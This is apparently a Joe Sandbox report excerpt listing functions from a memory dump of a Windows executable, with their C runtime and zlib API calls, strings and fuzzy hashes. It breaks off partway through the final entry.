Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: 7690faec4d4eb51db33b0a18cf866503fa47c1b85a6e53cf763e3c4af380cf83
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: 4E311072608B818AEB60DF60E8803ED7365FB94748F44407BDA4D47B98DF78D548C721

Function 00007FF7EAD25C00 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7EAD25C45

Part of subcall function 00007FF7EAD25598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD255AC

Part of subcall function 00007FF7EAD1A948: RtlFreeHeap.NTDLL(?,?,?,00007FF7EAD22D22,?,?,?,00007FF7EAD22D5F,?,?,00000000,00007FF7EAD23225,?,?,?,00007FF7EAD23157), ref: 00007FF7EAD1A95E
Part of subcall function 00007FF7EAD1A948: GetLastError.KERNEL32(?,?,?,00007FF7EAD22D22,?,?,?,00007FF7EAD22D5F,?,?,00000000,00007FF7EAD23225,?,?,?,00007FF7EAD23157), ref: 00007FF7EAD1A968

Part of subcall function 00007FF7EAD1A900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7EAD1A8DF,?,?,?,?,?,00007FF7EAD1A7CA), ref: 00007FF7EAD1A909
Part of subcall function 00007FF7EAD1A900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7EAD1A8DF,?,?,?,?,?,00007FF7EAD1A7CA), ref: 00007FF7EAD1A92E

_get_daylight.LIBCMT ref: 00007FF7EAD25C34

Part of subcall function 00007FF7EAD255F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD2560C

_get_daylight.LIBCMT ref: 00007FF7EAD25EAA
_get_daylight.LIBCMT ref: 00007FF7EAD25EBB
_get_daylight.LIBCMT ref: 00007FF7EAD25ECC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7EAD2610C), ref: 00007FF7EAD25EF3

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction ID: feef039ee7deb00c37f8ee75818b46884c4f7fb5df07af97e66af3a7906f4d7b
Opcode Fuzzy Hash: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction Fuzzy Hash: F8D1AE26A0824246F720FF25D881BB9A761EF94794FC481B7EA0D47699EE3CE441C772

Function 00007FF7EAD1A614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7EAD1A68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7EAD1A6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF7EAD1A6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF7EAD1A719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7EAD1A723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7EAD1A72E

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: 0de5e91adda5b643549efd4550c29c5ef072a380bc9a6c5675796fb433ce32cf
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: 1A318236608F8185EB20DF24E8403AEB3A4FB94758F900136EA9D43B69DF3CD145CB11

Function 00007FF7EAD21874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD218C0
FindFirstFileExW.KERNEL32 ref: 00007FF7EAD219CA

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction ID: aa46445dc62515560b75628329d928c87d25a4fdc03928228d9be78db9822ea6
Opcode Fuzzy Hash: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction Fuzzy Hash: 59B1B432B1869241FA61EB2195043B9E3A1EB95BE4F849173EA5D07B9DEE3CE441C331

Function 00007FF7EAD25E7C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7EAD25EAA

Part of subcall function 00007FF7EAD255F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD2560C

_get_daylight.LIBCMT ref: 00007FF7EAD25EBB

Part of subcall function 00007FF7EAD25598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD255AC

_get_daylight.LIBCMT ref: 00007FF7EAD25ECC

Part of subcall function 00007FF7EAD255C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD255DC

Part of subcall function 00007FF7EAD1A948: RtlFreeHeap.NTDLL(?,?,?,00007FF7EAD22D22,?,?,?,00007FF7EAD22D5F,?,?,00000000,00007FF7EAD23225,?,?,?,00007FF7EAD23157), ref: 00007FF7EAD1A95E
Part of subcall function 00007FF7EAD1A948: GetLastError.KERNEL32(?,?,?,00007FF7EAD22D22,?,?,?,00007FF7EAD22D5F,?,?,00000000,00007FF7EAD23225,?,?,?,00007FF7EAD23157), ref: 00007FF7EAD1A968

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7EAD2610C), ref: 00007FF7EAD25EF3

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction ID: bf490f140bd8aad831dba4d5576fa1d25809c9971226ccdb52ff4440ccbece9c
Opcode Fuzzy Hash: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction Fuzzy Hash: 72517F32A0864286F710FF25D9816A9E761FB88784FC041B7EA4D876A9EF3CE441C771

Function 00007FF7EAD0D010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7EAD0D03C
GetCurrentThreadId.KERNEL32 ref: 00007FF7EAD0D04A
GetCurrentProcessId.KERNEL32 ref: 00007FF7EAD0D056
QueryPerformanceCounter.KERNEL32 ref: 00007FF7EAD0D066

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: d9cd9b7bc61391cace1ad6055a30a35423f7646f5771dd58d4478f56b082e81d
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: 35111C32B14F058AFB00DB60E8543B973A8FB59758F840E32DA6D467A8DF78D1588351

Function 00007FF7EAD23C10 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF7EAD23C76
memcpy_s.LIBCPMT ref: 00007FF7EAD23CA1

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 87e261a8ba35fed2930a3033ca7a9ec1c11f82c5447e13624001556ee60641c6
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: 6FC1F372B1868687E724DF19A1447AAF7A1F784B84F848236DB4A43788DB3DE845CB50

Function 00007FF7EAD0A474 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

, xrefs: 00007FF7EAD0A55B
unknown header flags set, xrefs: 00007FF7EAD0A4C5
header crc mismatch, xrefs: 00007FF7EAD0A921

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: fcf6ea83c7a46010d3591867e81b0f53761d3f113121264a3729654d2d1b513f
Instruction ID: 780a92144220847a185cbdf2b75a4dd132b5c1c711110105b7aadce513c59afa
Opcode Fuzzy Hash: fcf6ea83c7a46010d3591867e81b0f53761d3f113121264a3729654d2d1b513f
Instruction Fuzzy Hash: 43F19172A182C54AF7A5EF1480C8BBEBBAAEF44748F85417ADA49473E4CB38D440C751

Function 00007FF7EAD29728 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF7EAD29977
RaiseException.KERNEL32 ref: 00007FF7EAD29988

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction ID: 53904e7ada93a561bbfe86eab91381f1855d761ac3428676c61e10d5e6ae8c25
Opcode Fuzzy Hash: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction Fuzzy Hash: 53B16E73A04B898BEB15CF29C84636CBBA0F744B58F588972DB5D837A8CB39D451C721

Function 00007FF7EAD139A4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF7EAD13D54
, xrefs: 00007FF7EAD13B12

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction ID: 3696f2d93929fa46188c6987e7804ac8aa03dd0ba677386b127873c8555e5986
Opcode Fuzzy Hash: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction Fuzzy Hash: EBE1B672A0864282FBA8EE35C15023DB3A0FF65B48F944177DA0E07798DF39E952C712

Function 00007FF7EAD0A2DB Relevance: 2.7, Strings: 2, Instructions: 216COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 00007FF7EAD0A442
incorrect header check, xrefs: 00007FF7EAD0A45B

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: 7e7bac63e97a7e962ac1d8bc37368dc0e110af78d4507200a91f80e7c7b94e68
Instruction ID: 6e706e2bade23511861509a906a967b1956bd1ac87c0e7589d60ab1ff3dd8644
Opcode Fuzzy Hash: 7e7bac63e97a7e962ac1d8bc37368dc0e110af78d4507200a91f80e7c7b94e68
Instruction Fuzzy Hash: 1E91C772A082C68BF7A4DE14D4D8B7E7BAAFF44348F81417ADA4A467D4CB38E540CB11

Function 00007FF7EAD1DEF0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF7EAD1DFFD
gfff, xrefs: 00007FF7EAD1E07A

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction ID: e245cbc019858674186d0360c6bfc66857120ca6ce51eb376c3a2a1a4ba53a43
Opcode Fuzzy Hash: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction Fuzzy Hash: F6516662B1C2C186F725DE359800769EB91EB64B94F888272CB9C4BAD9CF3DD140C712

Function 00007FF7EAD208C8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 537422541fbed36a77ddee3a41e978a3695e14332b64c7d8d0a2d6c09592a1ae
Instruction ID: cdd0afa5b468f91b07516e6c6a2fdce5705423b6c95e49c416963134618f2f9a
Opcode Fuzzy Hash: 537422541fbed36a77ddee3a41e978a3695e14332b64c7d8d0a2d6c09592a1ae
Instruction Fuzzy Hash: EC02B121A1D64B41FA65FB219800379E7A4EF41BA0FC646B7DD5D463DAEE3CA841C332

Function 00007FF7EAD1DA5C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF7EAD1DD9E

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction ID: da7f1efeca77a8275ab10fd1b3443014dfc5de6b70c72353e6d56d395ab6f6d8
Opcode Fuzzy Hash: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction Fuzzy Hash: BBA14662A0878A46FB21DF35A4407A9BB91EF64B84F448072DACD47789DF3DE402C712

Function 00007FF7EAD18794 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF7EAD187B3

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 09cdd7cf7fc9e7e425d724a32e8c9d3bd5c12dba7606eca5b930980d9b4d1239
Instruction ID: 0df8382ff43cd2b49cbd3379fb6a57b6c22915055fd50abac695394b3d996ae1
Opcode Fuzzy Hash: 09cdd7cf7fc9e7e425d724a32e8c9d3bd5c12dba7606eca5b930980d9b4d1239
Instruction Fuzzy Hash: 68517111F0864241FA64FA3665113BED3A0EF64BD4FD844F6DD0E4779AEE3CE4518222

Function 00007FF7EAD23480 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7EAD23484

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction ID: 081584fd5c9040c0234fdc711a76a8b0c4ea278e15b8e7a97f2faa4b832bfc70
Opcode Fuzzy Hash: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction Fuzzy Hash: F2B09220E07B02C2FE08BB256CC231863A8FF58700FD801BAC05C40334DE3C20E59722

Function 00007FF7EAD135A0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction ID: 1bc4950147f317979ec7c6de8d4d0aeeac6e7f572aacd8585e95d11ff51e033b
Opcode Fuzzy Hash: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction Fuzzy Hash: D2D1D666A0864286FBA8EF39804037DB7A0EF65B48F940276CE1D077D9DF39D845C762

Function 00007FF7EAD09800 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
